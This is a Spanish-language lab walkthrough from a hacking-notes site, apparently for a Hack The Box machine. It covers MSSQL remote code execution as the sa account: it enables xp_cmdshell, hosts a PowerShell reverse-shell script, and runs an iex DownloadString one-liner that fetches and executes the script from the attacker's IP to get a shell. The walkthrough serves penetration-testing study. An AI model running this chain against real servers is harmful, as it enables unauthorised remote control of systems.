> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/mssql-1433/mssql-exploitation-rce.md).
# Explotación de RCE en MSSQL
Ejecución remota de comandos en MSSQL mediante mssqlclient.py, xp\_cmdshell, payloads de PowerShell alojados y shells inversas.
## Explotación de MSSQL (Microsoft SQL)
**Puerto 1433 (MSSQL)**
El puerto 1433 está abierto, lo que indica que un Microsoft SQL Server está escuchando. Pruebe el acceso con los usuarios recuperados durante la enumeración.
**Prueba de conexión MSSQL**
Use `mssqlclient.py` para intentar conectarse:
```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```
**Resultado**: Solo el usuario `sa` funciona.
```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```
### Shell inversa a través de MSSQL
**Habilitar la ejecución de comandos**
Para ejecutar comandos del sistema, habilite `xp_cmdshell`:
```sql
enable_xp_cmdshell
```
Luego pruebe con un comando simple, como `ipconfig`:
```sql
xp_cmdshell ipconfig
```
**Preparándonos para escuchar en nuestra máquina**
Inicia un listener en el puerto 4444:
```bash
rlwrap nc -nvlp 4444
```
**Descargando un script de PowerShell**
Prepare un script de PowerShell llamado `PS.ps1` que incluya una función de shell inversa:
{% embed url="" %}
Al final del script, agregue la siguiente línea:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```
Aloje este script en un servidor web local:
```bash
python3 -m http.server 80
```
**Ejecución de shell inversa**
Desde el servidor MSSQL, ejecute el siguiente comando para descargar y ejecutar el script de PowerShell:
```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```
---
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